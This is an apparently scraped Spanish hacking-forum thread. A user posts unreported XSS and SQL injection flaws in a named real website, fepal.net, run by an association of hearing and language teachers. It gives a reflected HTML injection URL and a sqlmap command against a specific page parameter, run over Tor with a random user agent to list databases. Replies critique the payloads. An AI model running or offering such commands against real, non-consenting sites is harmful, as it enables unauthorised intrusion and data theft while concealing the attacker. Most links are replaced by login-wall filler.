[SQLi , XSS] www.fepal.net

Hola !!!
Bienvenido a mi post


Sitio :You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Descripción del sitio:  Federación Española de Asociación de Profesores de Audición y Lenguaje.

• [XSS] Inyección en URL .
     
      Url del sitio :You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
      Vector : <h1>underc0de</h1>
      xploit : You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login<h1>underc0de</h1>&pg=1
      Reportado: NO
      Autor: RREEDD



• [SQLi] Inyección en URL.
     
      Url del sitio :You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
      Inyeccion :  You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login -u "www.fepal.net/noticias.php?id=1&pg=1" -p "id"  --tor --tor-type=SOCKS5 --check-tor --random-agent --dbs --time-sec 15
      Herramienta : SQLMAP
      Reportado: NO
      Autor: RREEDD
  

@You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login no se puede tomar como payload unos resultados de sqlmap por consola, tienes que poner la inyección entera por GET.

Saludos, EPSILON.

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
@You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login no se puede tomar como payload unos resultados de sqlmap por consola, tienes que poner la inyección entera por GET.

Saludos, EPSILON.

Además de eso, cuando buscas una XSS tienes que buscar ejecutar código javascript, en muchas ocasiones te permite poner una etiqueta html, pero no se puede llegar a ejecutar un código javascript.

Éste Payload estaría mejor: "You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login"

Hola!!

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
@You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login no se puede tomar como payload unos resultados de sqlmap por consola, tienes que poner la inyección entera por GET.

Saludos, EPSILON.

Gracias por la aclaración, porque mi intención al poner el payload de sqlmap era demostrar que era vulnerable, así que lo tendre en mente para la próxima.